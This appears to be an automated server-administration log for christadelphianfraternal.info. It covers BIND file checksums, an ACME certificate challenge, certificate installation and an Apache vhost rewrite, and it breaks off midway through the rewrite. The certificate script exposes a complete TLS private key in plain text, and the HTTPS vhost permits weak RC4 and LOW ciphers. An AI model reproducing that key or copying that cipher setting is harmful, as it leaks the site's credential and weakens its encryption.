MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 23fffb551d59be1ba6da9a294544c861
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f9ea658466eb204a08ba64bebb958934
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-07 14:24:56: Establishing a connection
2026-05-07 14:24:56: Establishing a connection
2026-05-07 14:24:56: 

PUT: /tmp/pkp564502

#!/bin/bash
if [ -d "/var/www/christadelphianfraternal_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-07 14:24:56: 

chmod 755 /tmp/pkp564502; /tmp/pkp564502; rm /tmp/pkp564502

2026-05-07 14:24:56: 


1


2026-05-07 14:24:58: Establishing a connection
2026-05-07 14:24:58: 

PUT: /tmp/pkp671450

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cat > 3DiEkBbP-fQEYj1Xi_bdfx_j0JBCVQXJtivoPFx-jQ4 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
3DiEkBbP-fQEYj1Xi_bdfx_j0JBCVQXJtivoPFx-jQ4.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 3DiEkBbP-fQEYj1Xi_bdfx_j0JBCVQXJtivoPFx-jQ4
cat > phCnNnpUw9ipXStpGiWkGbyVFehFsSewOXn8ttb60LA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
phCnNnpUw9ipXStpGiWkGbyVFehFsSewOXn8ttb60LA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 phCnNnpUw9ipXStpGiWkGbyVFehFsSewOXn8ttb60LA


2026-05-07 14:24:58: 

chmod 755 /tmp/pkp671450; /tmp/pkp671450; rm /tmp/pkp671450

2026-05-07 14:24:58: 




2026-05-07 14:25:07: Establishing a connection
2026-05-07 14:25:07: 

PUT: /tmp/pkp262006

#!/bin/bash
mkdir -p "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
cd "/var/www/christadelphianfraternal_www/.well-known/acme-challenge/"
rm 3DiEkBbP-fQEYj1Xi_bdfx_j0JBCVQXJtivoPFx-jQ4
rm phCnNnpUw9ipXStpGiWkGbyVFehFsSewOXn8ttb60LA


2026-05-07 14:25:07: 

chmod 755 /tmp/pkp262006; /tmp/pkp262006; rm /tmp/pkp262006

2026-05-07 14:25:07: 




2026-05-07 14:25:07: Establishing a connection
2026-05-07 14:25:07: 

PUT: /tmp/pkp169975

#!/bin/bash
temp_file=$(mktemp)
TARGET=b4498780588346731659d115ecf1bb4c.crt

cat > $temp_file <<'endmsg'
b9:d8:53:a9:b8:69:fd:93:d9:c3:d4:c8:7a:c3:a1:7a

-----BEGIN CERTIFICATE-----
MIIFODCCBCCgAwIBAgISBS6cv1CUitNdlsfzikPBbsbXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA3MTMyNjM2WhcNMjYwODA1MTMyNjM1WjAoMSYwJAYDVQQD
Ex1jaHJpc3RhZGVscGhpYW5mcmF0ZXJuYWwuaW5mbzCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAOXtXRqHk9kPveL609O1RcLXCdHjT3u5tajmuuFgb95q
I+pRNcJrud8WC8Kw1xVpx0lZkZZFMitKlAetXRiRpiihAaK5Q4kzzCuFE4vgyixM
J1OsCjKdKa+gk3IvbJtNS3Cq04MOE9AQzW64hxEvGCady7CLcwHBm9DBqQ/aMIW1
4f1yHZuf8mfh+rN9EfuDHSF5sj7mWq738SPLjpMBezdgZX9xKE631krB8wlaiOoI
HeJOtjotNLIOWBlIyBzgJ5ZCRoMX0MCVne/tTkmy4Xx/F9dmJUDOPM3ygpqybnIU
yYJIvEqqfswqrDkTulpl41NCPIi9Rbz+1VvItexwE2cCAwEAAaOCAk8wggJLMA4G
A1UdDwEB/wQEAwIFoDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAA
MB0GA1UdDgQWBBQoq+KsbMnlat5IKmAWJuaPYPQvzDAfBgNVHSMEGDAWgBQAtSny
LY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0
dHA6Ly9yMTIuaS5sZW5jci5vcmcvMEsGA1UdEQREMEKCHWNocmlzdGFkZWxwaGlh
bmZyYXRlcm5hbC5pbmZvgiF3d3cuY2hyaXN0YWRlbHBoaWFuZnJhdGVybmFsLmlu
Zm8wEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDov
L3IxMi5jLmxlbmNyLm9yZy84OC5jcmwwggENBgorBgEEAdZ5AgQCBIH+BIH7APkA
dwDYCVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ4C0/ZQAAAEAwBI
MEYCIQDfrqRBejVI6ESaplZMClz14BAIrKCdR/LCMj6u+q3cAgIhAOPwYba1ZcOA
HRXugtTersVYzxIvWjaci0pLjbR8oj68AH4AqCbL4wrGNRJGUz/gZfFPGdluGQgT
xB3ZbXkAsxI8VScAAAGeAtP3wQAIAAAFAAnseasEAwBHMEUCIQCOXgkNYh+2rEPt
S9ojyMmDM8c8xNfnldtoM7hrGK3eMQIgL4ZuA9A/GozFK0PfG4s9q6GXxjIM1aL+
qPz6s9/vEQwwDQYJKoZIhvcNAQELBQADggEBAIYxBMQGk+nBo37bTRFBPKxfVZQ5
KVBuotoN5sEy3yIxfAyAsOvdUniDr/QNG/hF6soosln7G1uVi26YCVz8OKPZBKy1
nnIHgOEWSxJo6I7jHO81zMoFW6STL8orx3r+KVAyYBBV5qn2YNpg1/JsmtDWlpQh
jf9xQulDhhL49R1/r5XY15uNBb1gmRmSfuEN0vEEuNBNsx26HJyqWwkWf1AGmARS
lwvjPEGQQd3ms+YoL0NR7BFRUKJhn0UmZzk2rqAhO7he2auMC1kzhoBIV9BNbUIj
ownnNmkLVdlmSptbWWqwGayFZOEu6Do6lmym+8lTodLiswc5Q0vr58vyUs8=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDl7V0ah5PZD73i
+tPTtUXC1wnR4097ubWo5rrhYG/eaiPqUTXCa7nfFgvCsNcVacdJWZGWRTIrSpQH
rV0YkaYooQGiuUOJM8wrhROL4MosTCdTrAoynSmvoJNyL2ybTUtwqtODDhPQEM1u
uIcRLxgmncuwi3MBwZvQwakP2jCFteH9ch2bn/Jn4fqzfRH7gx0hebI+5lqu9/Ej
y46TAXs3YGV/cShOt9ZKwfMJWojqCB3iTrY6LTSyDlgZSMgc4CeWQkaDF9DAlZ3v
7U5JsuF8fxfXZiVAzjzN8oKasm5yFMmCSLxKqn7MKqw5E7paZeNTQjyIvUW8/tVb
yLXscBNnAgMBAAECggEABtYGUR4bzrXRmviDKMW4c8EJ+TQNbmvIk2N8xeukl9PH
CpXsh8HFLnVM1zaDxo61DqC7m+Cly7S1bv8ACBV4f7e9wTVJ5T/lf5u+x4dg620+
NBYm3XdfwGmBSMFRNNLY/doOXNSj0SlWukaBOYkRakCByFd1DWXQuKWxXZfKnocJ
6fLknnQ1BIYS+PMd6ju7EwxBJgfbCuOxMs699ohx4IDqI3B5u13fwUO8Gy+8QpS4
NPPaQsB9qx7IHiWYmQUE5Qrspi3ZADtDp9KVKkqjZMY+ttanFIOKJiy/H5RCuKV+
rWDDHC6ZdklIz+weWUbbPt5pslEkPkEGfOKmk/v4WQKBgQD2Fjhk24lg9fKufTPU
b2Q4N/UK3OfYP7ReCpduVk6UZIqntw+1GVkaIu1X8X8rvtqI5s7dw4Ff5YJfNXaV
Qd/kFxv/WZ+7fMcC4j5B1MbBPuHSpL5vkGfCCoaM+bx1/tDnC5WO8pBxKm8Pd2E/
vnsHy84lsQ5ZLkJ38ZILcIgjDwKBgQDvMH825fMIYdQJROxvn75Jg9miBjj3IuZH
8oTkF9ukaotLTTGrdg/0b1602sjYj8EnMHBhSQxXtSrIfBDm5pzzBDLdlQGu6DK8
BOpep0SWkAn9x7oMYUq8fhCsu+jbwVgTOTh3hGqBqHd6LPsIUcpWV72W6S2za2yV
ZVWLuP4qKQKBgEkFqPBMsMRD1yJt5o5YC34fJKh3ipiBtszdCbhlBeZEu1wvFwsf
HXCDArjA4YKinIhZLPNjSyWgngIQhEKgDIbLULSB7MMesJMrfVvdfqjjNvFhj1zd
ldxfcTOt+31sAqM8rcGAOtpJxDDrtMDMjgdvM5m9o0tVTcX3ueWJG+yDAoGAVGF3
f5Z/tmVMuDhocLiaGLU7Ab3QOt9E/fzAhPcltUsg+N+ythpgZosjjgng8QVFzt13
x9pNUGPJRBEApXSVyeWhTCpU/a9MtqfFRr8bo0INREpBiDyKcRTILSfdbik3ORDm
qsM8D6GvBJr5tGWmS++IIsUAKlurYsjs9O2+PIECgYBDmcDEvEw22YF0VRDkzBx3
EdZW1gva6sUl+pkCA6kEy5uWINt7UxOL4FQcFlvEV8FnNbFoCVeZjW3CmabIaNJb
lnDUdG/wRIY01ZzTtnwfVnwvk3PrWjcjjK6xQjjMn2eYt6jh5PtntGrRvaUD56LA
Kjj50JXNcoxrXYc+srH4AA==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-07 14:25:07: 

chmod 755 /tmp/pkp169975; /tmp/pkp169975; rm /tmp/pkp169975

2026-05-07 14:25:07: 


dir=/etc/ssl/certs


2026-05-07 14:25:07: 

PUT: /tmp/pkp749075

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-07 14:25:07: 

chmod 755 /tmp/pkp749075; /tmp/pkp749075; rm /tmp/pkp749075

2026-05-07 14:25:07: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf 57

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/b4498780588346731659d115ecf1bb4c.crt
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_secure_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-07 14:25:07: 

PUT: /tmp/pkp771488

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=christadelphianfraternal_www_info.conf
TARGET=/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	christadelphianfraternal.info
    ServerAlias	www.christadelphianfraternal.info
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/christadelphianfraternal_www
    <Directory /var/www/christadelphianfraternal_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/christadelphianfraternal/www_access.log combined
    ErrorLog	/var/log/apache2/christadelphianfraternal/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
